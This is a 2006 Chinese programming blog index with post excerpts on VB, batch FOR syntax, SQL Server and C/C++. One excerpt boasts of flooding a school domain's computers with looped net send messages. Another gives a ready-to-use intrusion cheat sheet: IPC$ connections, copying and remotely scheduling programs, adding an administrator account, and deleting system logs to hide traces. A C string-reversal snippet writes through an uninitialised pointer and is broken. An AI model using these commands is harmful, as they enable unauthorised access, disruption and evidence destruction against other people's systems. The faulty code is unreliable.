博文

(转载)VB常用代码(2006-12-14 15:01:00)

摘要:移动无标题栏的窗体(borderstyle=none)dim mouseX as integerdim mouseY as integerdim moveX as integerdim moveY as integerdim down as booleanform_mousedown: 'mousedown事件down=truemouseX=xmouseY=yform_mouseup: 'mouseup事件down=falseform_mousemoveif down=true then   moveX=me.left-mouseX+X   moveY=me.top-mouseY+Y   me.move moveX,moveYend if***********************************************************************闪烁控件比如要闪烁一个label(标签)添加一个时钟控件 间隔请根据实际需要设置 enabled属性设为true代码为:label1.visible=not label1.visible**********************************************************************禁止使用 Alt+F4 关闭窗口 Private Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As LongPrivate Declare ......

阅读全文(269) | 评论:0

vb源码收集站点大全(2006-12-14 14:39:00)

摘要:vb源码收集站点大全 http://www.programfan.com/club/showbbs.asp?id=102369http://www.codesky.net/sort.asp?sortid=12http://host.bluexp.net/vbgood/code/index.aspVB超市http://www.vb99.com/code.asp?findmode=1枕善居http://www.mndsoft.com/blog/default.asp?cateID=3http://www.vbaspnew.com/ziyuan/index.htmhttp://vbboshi.diy.myrice.com/vbcode.htmhttp://www.applevb.com/http://www.codesky.net/showcode.asp?uid=51051http://vbcool.diy.myrice.com/http://www.code999.com/SoftList/Catalog_170_SoftTime_Desc_1.html更多的等你……朋友们,能不能把你们知道的vb源码收集站点贴出来,大家共享呀?请斑竹帮忙添加整理   作者:q07272777专家分:50  会员信息 发短消息   所属BLOG 发表时间:2005-9-2 10:33:00    [回复]  [引用] 1 楼   编程无限  http://www.21code.com/codebase/?pos=list&type=subclass&mainclass=1&subclass=7阿蒙      http://www.vchome.net/软件编程咨询网          http://www.cty99.com/编程爱好者     &nb......

阅读全文(444) | 评论:0

net send使其别人死机(2006-12-13 23:24:00)

摘要:记得当时是看了几天黑客,了解了黑客基本的网络常用命令,,其中这个net send 我倒觉得有点意思,不需要对方的许可,你不收都得收,另外在看windows2000的批理命令中的for可以连续执行某个条命令,A,,,历害,当时我就有一个想法,如果说我用for连续发他个几万次的消息过去,他会点了再点点了再就是难得点完确定,呵呵,,,,心想中    一天在学校没事就耍吓这些常用的命令,,,,打一条net send /?看帮助,耶,还有一个domain哒嘛,,,,这么说一次可以向一个域的机子发信息了哦,,,,呵呵,,,更幸的是,,,那个FOR的/L参数的配合,,哈我看你们都遭映吧,还不气死你们,,,    看看我一直在想的事就要成功的表演一吓了,,       我就用一条        for /l %i in(1,1,999999) do net send /domain:121gp %i%illlaskf%i%i    哈哈,看看这么简单的一条命令,却是要连续向整个域里面的机子发送999999次信息,看看不点才怪哈哈哈,,,     我说一吓,那个FOR是循环的命令,,是专用在批处理文件里的,/L就是代失下去,也就是说1,2,3,4,5,6,,,,这样不断的执行下去,,,具体执行多少次就由in(1,1,999999)这个IN里面的最后一个参数决定,注意这个IN后的括号"("要在一起,不要有空格哟,否则就要出错,IN里面有三个参数,第一个是初始值,第二是每次加多少的,最后一个是最大数,当变量i加到这个值就会停止。。。   具体也可以在CMD下输入for /?看帮助   当时那个教室还在上课,,我发了这条命令后就锁定机子走人,,,不幸,一会,一个女教室来了,,在我后面,,我还在为刚才的那命令开心得想会怎么样?   不经意的又在另一个教室再发了一次,,,这时那个女老师走过来说,,,你还多发几条嘛?...............  我晕,,,漏线了,,,不过她还好,没有......

阅读全文(2183) | 评论:0

for的用法(2006-12-13 23:23:00)

摘要:FOR %variable IN (set) DO command [command-parameters]   %variable  指定一个单一字母可替换的参数。  (set)      指定一个或一组文件。可以使用通配符。  command    指定对每个文件执行的命令。  command-parameters             为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I. 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持: FOR /D %variable IN (set) DO command [command-parameters]     如果集中包含通配符,则指定与目录名匹配,而不与文件    名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]     检查以 [drive:]path 为根的目录树,指向每个目录中的    FOR 语句。如果在 /R 后没有指定目录,则使用当前    目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-parameters]     该集表示以增量形式从开始到结束的一个数字序列。    因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生    序列 (5 4 3 2 1)。 FOR /F ["options"] %......

阅读全文(1988) | 评论:0

附加数据库(2006-12-10 12:23:00)

摘要:示例     下面的示例将   pubs   中的两个文件附加到当前服务器。         EXEC   sp_attach_db   @dbname   =   N'pubs',             @filename1   =   N'c:\Program   Files\Microsoft   SQL   Server\MSSQL\Data\pubs.mdf',             @filename2   =   N'c:\Program   Files\Microsoft   SQL   Server\MSSQL\Data\pubs_log.ldf'       附加数据库SQL   Server2000   将数据库映射到一组操作系统文件上。数据和日志信息绝不混合在同一个文件中,而且个别文件只由一个数据库使用。     主要数据文件是数据库的起点,指向数据库中文件的其它部分。每个数据库都有一个主要数据文件。主要数据文件的推荐文件扩展名是   .mdf     次要数据文件包含除主要数据文件外的所有数据文件。有些数据库可能没有次要数据文件,而有些数据库则有多个次要数据文件。次要数据文件的推荐文件扩展名是   .ndf     日志文件包含恢复数据库所需的所有日志信息。每个数据库必须至少有一个日志文件,但可以不止一......

阅读全文(1492) | 评论:0

VB实现文件数据对SQL Server上传下载(2006-12-10 12:16:00)

摘要:VB实现文件数据对SQL Server上传下载   很多单位尤其是制造业、设计院,计算机应用开展的较早。在这些单位,各种法规文件的下达以及日常工作中产生的大量数据,形成了种类繁杂、数量庞大档案资料(各种文件)。面对海量数据,原有档案管理系统在进行数据的备份、还原、更新与维护时多数已力不从心。传统的基于文件的管理方式,还给各种档案的保密工作带来了隐患。为此,越来越多的单位开始开发基于数据库的文件档案管理系统,以期克服这些毛病。   结合笔者开发的科技档案管理系统,本文以Visual Basic6.0和SQL Server 2000环境下的数据库为例,介绍文件数据对SQL Server 2000数据库的上传和下载。   数据库的连接   对数据库的操作一定在已经与本地抑或是网络数据库建立了联系的基础上,建立连接这一需求可以通过两种方式实现。   为便于理解,这里假定服务器名为Data_Server,档案数据库名为Science_File,其中的一个数据表名为office,设计有一个名称为office、类型为Image的字段,用于保存文件。为便于将不同大小的文件存储在SQL Server的数据表中,必须在数据表中创建一个Image型的字段,该字段可存储的最大文件达2GB字节。   1、利用Adodc控件连接   Visual Basic提供了一个Adodc控件。它通过Adodc属性的设置,按照向导提示完成数据库的连接。具体过程如下:   首先在属性页中选择生成按钮,进入数据链接属性对话框;然后选择该对话框中的连接属性页,选择或输入服务器名称和数据库等重要信息;最后测试连接,连接成功后,按确定按钮,返回到属性页对话框,可获得连接字符串,如下例:   Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist;Security Info=False;Initial Catalog=Science_File;Data Source=Data_Server   通过下列语句,即可连接到指定的数据库:   dim odbcstr as String, adocon As New ADODB.Connection  odbcstr = "Provider=SQLOLEDB.1;Integrated Secur......

阅读全文(1863) | 评论:1

More Effective C++之考虑变更程序库(2006-12-06 23:14:00)

摘要:程序库的设计就是一个折衷的过程。理想的程序库应该是短小的、快速的、强大的、灵活的、可扩展的、直观的、普遍适用的、具有良好的支持、没有使用约束、没有错误的。这也是不存在的。为尺寸和速度而进行优化的程序库一般不能被移植。具有大量功能的的程序库不会具有直观性。没有错误的程序库在使用范围上会有限制。真实的世界里,你不能拥有每一件东西,总得有付出。   不同的设计者给这些条件赋予了不同的优先级。他们从而在设计中牺牲了不同的东西。因此一般两个提供相同功能的程序库却有着完全不同的性能特征。  例如,考虑iostream和stdio程序库,对于C++程序员来说两者都是可以使用的。iostream程序库与C中的stdio相比有几个优点(参见Effective C++)。例如它是类型安全的(type-safe),它是可扩展的。然而在效率方面,iostream程序库总是不如stdio,因为stdio产生的执行文件与iostream产生的执行文件相比尺寸小而且执行速度快。  首先考虑执行速度的问题。要想掌握iostream和stdio之间的性能差别,一种方法就是用这两个程序库来运行benchmark程序。不过你必须记住benchmark也会撒谎。不仅很难拿出一组能够代表程序或程序库典型用法的数据,而且就算拿出来也是没用,除非有可靠的方法判断出你或你的客户的具有什么样的特征。不过在解决一个问题的不用方法的比较上,benchmark还是能够提供一些信息,所以尽管完全依靠benchmark是愚蠢的,但是忽略它们也是愚蠢的。  让我们测试一个简单的benchmark程序,只测试最基本的I/O功能。这个程序从标准输入读取30000个浮点数,然后把它们以固定的格式写到标准输出里。编译时预处理符号STDIO决定是使用stdio还是iostream。如果定义了这个符号,就是用stdio,否则就使用iostream程序库。 #ifdef STDIO#include <stdio.h>#else#include <iostream>#include <iomanip>using namespace std;#endifconst int VALUES = 30000; // # of values to read/writeint main(){ double......

阅读全文(1486) | 评论:0

编写高效简洁的C语言代码(2006-12-06 23:13:00)

摘要:编写高效简洁的C语言代码,是许多软件工程师追求的目标。本文就工作中的一些体会和经验做相关的阐述,不对的地方请各位指教。   第1招:以空间换时间  计算机程序中最大的矛盾是空间和时间的矛盾,那么,从这个角度出发逆向思维来考虑程序的效率问题,我们就有了解决问题的第1招——以空间换时间。  例如:字符串的赋值。  方法A,通常的办法: #define LEN 32char string1 [LEN];memset (string1,0,LEN);strcpy (string1,“This is a example!!”);  方法B: const char string2[LEN] =“This is a example!”;char * cp;cp = string2 ;(使用的时候可以直接用指针来操作。)  从上面的例子可以看出,A和B的效率是不能比的。在同样的存储空间下,B直接使用指针就可以操作了,而A需要调用两个字符函数才能完成。B的缺点在于灵活性没有A好。在需要频繁更改一个字符串内容的时候,A具有更好的灵活性;如果采用方法B,则需要预存许多字符串,虽然占用了大量的内存,但是获得了程序执行的高效率。  如果系统的实时性要求很高,内存还有一些,那我推荐你使用该招数。  该招数的变招——使用宏函数而不是函数。举例如下:  方法C: #define bwMCDR2_ADDRESS 4#define bsMCDR2_ADDRESS 17int BIT_MASK(int __bf){ return ((1U << (bw ## __bf)) - 1) << (bs ## __bf);}void SET_BITS(int __dst, int __bf, int __val){ __dst = ((__dst) & ~(BIT_MASK(__bf))) | \(((__val) << (bs ## __bf)) & (BIT_MASK(__bf))))}SET_BITS(MCDR2, MCDR2_ADDRESS, RegisterNumber);  方法D: #define bwMCDR2_ADDRESS 4#define bsMCDR2_ADDRESS 17#def......

阅读全文(1208) | 评论:0

网管和黑客都必须知道的命令(2006-12-04 11:35:00)

摘要: 常用的几条NET命令: ================================================== (与远程主机建立空管连接) net use \\IP地址\ipc$ "" /use:"" (以管理员身份登录远程主机) net use \\IP地址\ipc$ "密码" /use:"Administrator" (传送文件到远程主机WINNT目录下)copy 本机目录路径\程序 \\IP地址\admin$ (查看远程主机时间) net time \\IP地址 (定时启动某个程序) at \\IP地址 02:18 readme.exe (查看共享) net view \\IP地址 (查看netbios工作组列表) nbtstat -A IP地址 (将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ ""/user:"Administrator" (这两条把自己增加到管理员组): net user 用户名 密码 /add net localgroup Administrators 用户名 /add (断开连接) net use \\IP地址\ipc$ /delete ===================================================== 擦屁屁: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log ============================ 一、netsvc.exe 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务: netsvc /list \\IP地址 netsvc schedule \\IP地址 /query netsvc \\IP地址 schedule /start 二、OpenTelnet.exe 远程启动主机的Telnet服务,并绑定端口到7878,例如: OpenTelnet \\I......

阅读全文(1508) | 评论:0

用指印实现字符串倒置(2006-11-27 22:49:00)

摘要:include <stdio.h>#include <stdlib.h>void fun(char *ss)  {      char *s2=ss;      char t;      while(*s2!='\0')        {s2++;}//此时*S2 已经为空字符串 ,关键啊!!!! 所以S2要先减一       while(ss<=s2--)       {t=*ss;        *ss++=*s2;        *s2=t;                }   } int main(int argc, char *argv[]){    char *a;    gets(a);    fun(a);    printf("%s",a);    system("PAUSE");   return 0;}......

阅读全文(2171) | 评论:0